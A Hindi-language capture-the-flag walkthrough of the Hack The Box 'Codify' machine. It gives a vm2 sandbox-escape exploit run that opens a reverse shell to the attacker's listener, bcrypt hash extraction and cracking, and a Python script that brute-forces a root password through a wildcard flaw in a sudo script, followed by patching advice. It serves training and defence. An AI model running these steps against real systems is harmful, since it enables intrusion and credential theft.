हैक द बॉक्स — कोडिफाई राइटअप

हैक द बॉक्स पर Codify मशीन के लिए संपूर्ण पैठ परीक्षण वॉकथ्रू और राइटअप।

📌 मशीन की जानकारी

🛠️ सारांश / अटैक चेन

[Nmap Scan: Ports 22, 80, 3000] ➡️ [Node.js Sandbox App (vm2) Detected]
                                      ⬇️
     [CVE-2023-30547: vm2 Sandbox Escape RCE] ➡️ [Reverse Shell as 'svc']
                                      ⬇️
  [SQLite Enum: /var/www/contact/tickets.db] ➡️ [Extract Joshua's Bcrypt Hash]
                                      ⬇️
     [John the Ripper (rockyou.txt)] ➡️ [SSH as 'joshua'] ➡️ [Read user.txt]
                                      ⬇️
   [Sudo Check: /opt/scripts/mysql-backup.sh] ➡️ [Wildcard Comparison Vulnerability]
                                      ⬇️
[Python Bruteforce Script] ➡️ [Extract Root MySQL Password] ➡️ [su root] ➡️ [Read root.txt]

🔍 चरण 1: रिकॉनिसेंस और एन्यूमरेशन

1. पोर्ट डिस्कवरी

सभी 65,535 TCP पोर्ट्स पर तेज़ पोर्ट स्कैन करके खुली सेवाओं का पता लगाएं:

Bash

nmap -Pn -n -sS -p- --min-rate 5000 --open <TARGET_IP>

2. सेवा संस्करण का पता लगाना

पोर्ट्स 22, 80, 3000 पर विस्तृत एन्यूमरेशन:

Bash

nmap -sVC -p 22,80,3000 <TARGET_IP>

💥 चरण 2: प्रारंभिक एक्सेस (फुटहोल्ड)

1. vm2 सैंडबॉक्स एस्केप का शोषण (CVE-2023-30547)

पोर्ट 3000 पर चल रहा वेब एप्लिकेशन Node.js vm2 सैंडबॉक्स लाइब्रेरी का एक कमजोर संस्करण उपयोग करता है।

सार्वजनिक एक्सप्लॉइट रिपॉजिटरी को क्लोन करें:

Bash

git clone [https://github.com/user0x1337/CVE-2023-30547](https://github.com/user0x1337/CVE-2023-30547)
cd CVE-2023-30547

2. एक्सप्लॉइट निष्पादन

अपनी अटैकिंग मशीन पर लोकल Netcat लिसनर शुरू करें:

Bash

ncat -lnvp 4444

कमजोर वेब एप्लिकेशन को लक्षित करते हुए एक्सप्लॉइट निष्पादित करें:

Bash

python3 exploit.py --url "http://<TARGET_IP>:3000" --lhost <YOUR_IP> --lport 4444

अपना प्रारंभिक फुटहोल्ड शेल सत्यापित करें:

Bash

whoami

🔎 चरण 3: आंतरिक एन्यूमरेशन और लेटरल मूवमेंट

1. SQLite डेटाबेस एन्यूमरेशन

वेब डायरेक्टरी /var/www/contact पर जाएं और SQLite डेटाबेस का निरीक्षण करें:

Bash

cd /var/www/contact
ls -la
sqlite3 tickets.db

जोशुआ का bcrypt हैश निकालें:

SQL

SELECT password FROM users WHERE username='joshua';

(बाहर निकलने के लिए CTRL + d दबाएं)

2. Bcrypt हैश को क्रैक करना

निकाले गए हैश को John the Ripper और rockyou.txt की मदद से क्रैक करें:

Bash

echo "<HASH_BCRYPT>" > hash.txt
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

3. SSH एक्सेस और यूज़र फ्लैग

जोशुआ के क्रैक किए गए क्रेडेंशियल्स का उपयोग करके SSH के माध्यम से प्रमाणित करें:

Bash

ssh joshua@<TARGET_IP>
cat user.txt

⚡ चरण 4: प्रिविलेज एस्केलेशन

1. Sudo अधिकारों की एन्यूमरेशन

यूज़र joshua के लिए अनुमत sudo कमांड जांचें:

Bash

sudo -l

आउटपुट: (ALL : ALL) NOPASSWD: /opt/scripts/mysql-backup.sh

2. बैकअप स्क्रिप्ट का विश्लेषण

/opt/scripts/mysql-backup.sh का निरीक्षण करें:

Bash

cat /opt/scripts/mysql-backup.sh

कमजोरी: स्क्रिप्ट Bash में अनकोटेड पैटर्न मिलान ([[ $USER_PASS == $DB_PASS* ]]) का उपयोग करती है। यह यूज़र इनपुट के अंदर वाइल्डकार्ड (*) को वास्तविक पासवर्ड के खिलाफ कैरेक्टर-दर-कैरेक्टर ब्रूट-फोर्स अटैक करने की अनुमति देता है।

3. स्वचालित पासवर्ड निष्कर्षण (Python)

रूट पासवर्ड को कैरेक्टर-दर-कैरेक्टर निकालने के लिए bruteforce.py बनाएं:

Python

import string
import subprocess

all_characters = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
    for character in all_characters:
        # Test password + character + wildcard (*)
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
        
        if "Password confirmed!" in output:
            password += character
            print(f"Found: {password}")
            break
    else:
        found = True

print(f"Root Password: {password}")

पासवर्ड निकालने के लिए स्क्रिप्ट चलाएं:

Bash

python3 bruteforce.py

4. रूट फ्लैग

निकाले गए पासवर्ड का उपयोग करके root यूज़र कॉन्टेक्स्ट में स्विच करें:

Bash

su root
cat /root/root.txt

🛡️ निवारण और शमन उपाय

• Node.js लाइब्रेरीज़ को पैच करें: vm2 (CVE-2023-30547) जैसी कमजोर सैंडबॉक्स लाइब्रेरीज़ को डिप्रेकेट या अपग्रेड करें।

• सुरक्षित Bash स्क्रिप्टिंग: स्ट्रिंग तुलना ऑपरेशन्स ([[ "$USER_PASS" == "$DB_PASS" ]]) में वेरिएबल्स को हमेशा कोट करें ताकि विशेषाधिकार प्राप्त स्क्रिप्ट्स में अनजाने पैटर्न मिलान और वाइल्डकार्ड इंजेक्शन को रोका जा सके।